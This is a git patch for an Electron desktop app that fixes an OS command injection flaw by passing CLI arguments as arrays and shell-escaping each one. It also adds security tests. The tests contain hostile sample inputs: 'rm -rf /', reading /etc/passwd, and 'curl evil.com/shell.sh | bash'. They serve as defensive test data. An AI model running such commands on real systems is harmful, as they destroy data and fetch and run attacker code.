From e575547919ea77e9abc669e18e66a2326dffd9c1 Mon Sep 17 00:00:00 2001 From: kevensun <272731967@qq.com> Date: Fri, 13 Mar 2026 20:32:35 +0800 Subject: [PATCH] fix(desktop-electron): use array args to prevent OS command injection (CWE-78) Change spawnCommand/buildCommand to accept string[] instead of string, and shellEscape each argument individually before interpolating into shell commands. This prevents injection via hostname, port, or other user-controllable parameters. Co-Authored-By: Claude Opus 4.6 --- .../src/main/cli.security.test.ts | 119 ++++++++++++++++++ packages/desktop-electron/src/main/cli.ts | 18 +-- 2 files changed, 129 insertions(+), 8 deletions(-) create mode 100644 packages/desktop-electron/src/main/cli.security.test.ts diff --git a/packages/desktop-electron/src/main/cli.security.test.ts b/packages/desktop-electron/src/main/cli.security.test.ts new file mode 100644 index 000000000000..e4f36a94925a --- /dev/null +++ b/packages/desktop-electron/src/main/cli.security.test.ts @@ -0,0 +1,119 @@ +import { describe, expect, it } from "vitest" + +/** + * CWE-78: OS Command Injection + * File: packages/desktop-electron/src/main/cli.ts + * + * Tests that shellEscape properly neutralizes shell metacharacters, + * preventing command injection when args are interpolated into shell commands. + */ + +// Extract shellEscape logic (same implementation as in cli.ts) +function shellEscape(input: string) { + if (!input) return "''" + return `'${input.replace(/'/g, `'"'"'`)}'` +} + +// Simulate buildCommand's shell line construction (Unix mode) +function buildShellLine(sidecar: string, args: string[]) { + const escapedArgs = args.map(shellEscape).join(" ") + return `"${sidecar}" ${escapedArgs}` +} + +// Simulate the OLD vulnerable behavior (string concatenation, no escape) +function buildShellLineUnsafe(sidecar: string, args: string) { + return `"${sidecar}" ${args}` +} + +describe("CWE-78: OS Command Injection in cli.ts", () => { + const sidecar = "/usr/local/bin/opencode" + + describe("shellEscape", () => { + it("should wrap normal input in single quotes", () => { + expect(shellEscape("hello")).toBe("'hello'") + }) + + it("should escape single quotes in input", () => { + expect(shellEscape("it's")).toBe("'it'\"'\"'s'") + }) + + it("should return empty quoted string for empty input", () => { + expect(shellEscape("")).toBe("''") + }) + + it("should neutralize semicolon injection", () => { + const malicious = "; rm -rf /" + const escaped = shellEscape(malicious) + // Wrapped in single quotes — shell treats entire string as literal + expect(escaped).toBe("'; rm -rf /'") + // Must start and end with single quote to be safe + expect(escaped.startsWith("'")).toBe(true) + expect(escaped.endsWith("'")).toBe(true) + }) + + it("should neutralize $() command substitution", () => { + const malicious = "$(whoami)" + const escaped = shellEscape(malicious) + expect(escaped).toBe("'$(whoami)'") + // Inside single quotes, $() is literal, not executed + }) + + it("should neutralize backtick command substitution", () => { + const malicious = "`id`" + const escaped = shellEscape(malicious) + expect(escaped).toBe("'`id`'") + }) + + it("should neutralize pipe injection", () => { + const malicious = "| cat /etc/passwd" + const escaped = shellEscape(malicious) + expect(escaped).toBe("'| cat /etc/passwd'") + }) + + it("should neutralize && chaining", () => { + const malicious = "&& curl evil.com/shell.sh | bash" + const escaped = shellEscape(malicious) + expect(escaped).toBe("'&& curl evil.com/shell.sh | bash'") + }) + }) + + describe("buildShellLine (fixed - array args with escape)", () => { + it("should safely handle hostname with injection attempt", () => { + const args = ["serve", "--hostname", "127.0.0.1; rm -rf /", "--port", "4096"] + const line = buildShellLine(sidecar, args) + // The malicious hostname is wrapped in single quotes, neutralized + expect(line).toContain("'127.0.0.1; rm -rf /'") + // Verify each arg is individually quoted — no bare unquoted semicolons + const argsSection = line.slice(line.indexOf("'")) + const unquoted = argsSection.replace(/'[^']*'/g, "QUOTED") + expect(unquoted).not.toContain(";") + }) + + it("should safely handle args with $() substitution", () => { + const args = ["serve", "--hostname", "$(curl evil.com)", "--port", "4096"] + const line = buildShellLine(sidecar, args) + expect(line).toContain("'$(curl evil.com)'") + }) + + it("should safely handle args with backtick substitution", () => { + const args = ["serve", "--hostname", "`wget evil.com`", "--port", "4096"] + const line = buildShellLine(sidecar, args) + expect(line).toContain("'`wget evil.com`'") + }) + + it("should work correctly with normal args", () => { + const args = ["--print-logs", "--log-level", "WARN", "serve", "--hostname", "localhost", "--port", "4096"] + const line = buildShellLine(sidecar, args) + expect(line).toBe(`"${sidecar}" '--print-logs' '--log-level' 'WARN' 'serve' '--hostname' 'localhost' '--port' '4096'`) + }) + }) + + describe("OLD vulnerable buildShellLine (string concat, no escape)", () => { + it("DEMONSTRATES VULNERABILITY: injection via hostname", () => { + const maliciousArgs = "serve --hostname 127.0.0.1; rm -rf / --port 4096" + const line = buildShellLineUnsafe(sidecar, maliciousArgs) + // The old code would produce a line where `; rm -rf /` is a separate command + expect(line).toContain("; rm -rf /") + }) + }) +}) diff --git a/packages/desktop-electron/src/main/cli.ts b/packages/desktop-electron/src/main/cli.ts index fba301f36c22..d426ce1e02ef 100644 --- a/packages/desktop-electron/src/main/cli.ts +++ b/packages/desktop-electron/src/main/cli.ts @@ -50,7 +50,7 @@ export function getSidecarPath() { } export async function getConfig(): Promise { - const { events } = spawnCommand("debug config", {}) + const { events } = spawnCommand(["debug", "config"], {}) let output = "" await new Promise((resolve) => { @@ -120,7 +120,7 @@ export function syncCli() { } export function serve(hostname: string, port: number, password: string) { - const args = `--print-logs --log-level WARN serve --hostname ${hostname} --port ${port}` + const args = ["--print-logs", "--log-level", "WARN", "serve", "--hostname", hostname, "--port", String(port)] const env = { OPENCODE_SERVER_USERNAME: "opencode", OPENCODE_SERVER_PASSWORD: password, @@ -129,8 +129,8 @@ export function serve(hostname: string, port: number, password: string) { return spawnCommand(args, env) } -export function spawnCommand(args: string, extraEnv: Record) { - console.log(`[cli] Spawning command with args: ${args}`) +export function spawnCommand(args: string[], extraEnv: Record) { + console.log(`[cli] Spawning command with args: ${args.join(" ")}`) const base = Object.fromEntries( Object.entries(process.env).filter((entry): entry is [string, string] => typeof entry[1] === "string"), ) @@ -209,17 +209,18 @@ function handleSqliteProgress(events: EventEmitter, line: string) { return false } -function buildCommand(args: string, env: Record) { +function buildCommand(args: string[], env: Record) { if (process.platform === "win32" && isWslEnabled()) { console.log(`[cli] Using WSL mode`) const version = app.getVersion() + const escapedArgs = args.map(shellEscape).join(" ") const script = [ "set -e", 'BIN="$HOME/.opencode/bin/opencode"', 'if [ ! -x "$BIN" ]; then', ` curl -fsSL https://opencode.ai/install | bash -s -- --version ${shellEscape(version)} --no-modify-path`, "fi", - `${envPrefix(env)} exec "$BIN" ${args}`, + `${envPrefix(env)} exec "$BIN" ${escapedArgs}`, ].join("\n") return { cmd: "wsl", cmdArgs: ["-e", "bash", "-lc", script] } @@ -228,12 +229,13 @@ function buildCommand(args: string, env: Record) { if (process.platform === "win32") { const sidecar = getSidecarPath() console.log(`[cli] Windows direct mode, sidecar: ${sidecar}`) - return { cmd: sidecar, cmdArgs: args.split(" ") } + return { cmd: sidecar, cmdArgs: args } } const sidecar = getSidecarPath() const shell = process.env.SHELL || "/bin/sh" - const line = shell.endsWith("/nu") ? `^\"${sidecar}\" ${args}` : `\"${sidecar}\" ${args}` + const escapedArgs = args.map(shellEscape).join(" ") + const line = shell.endsWith("/nu") ? `^\"${sidecar}\" ${escapedArgs}` : `\"${sidecar}\" ${escapedArgs}` console.log(`[cli] Unix mode, shell: ${shell}, command: ${line}`) return { cmd: shell, cmdArgs: ["-l", "-c", line] } }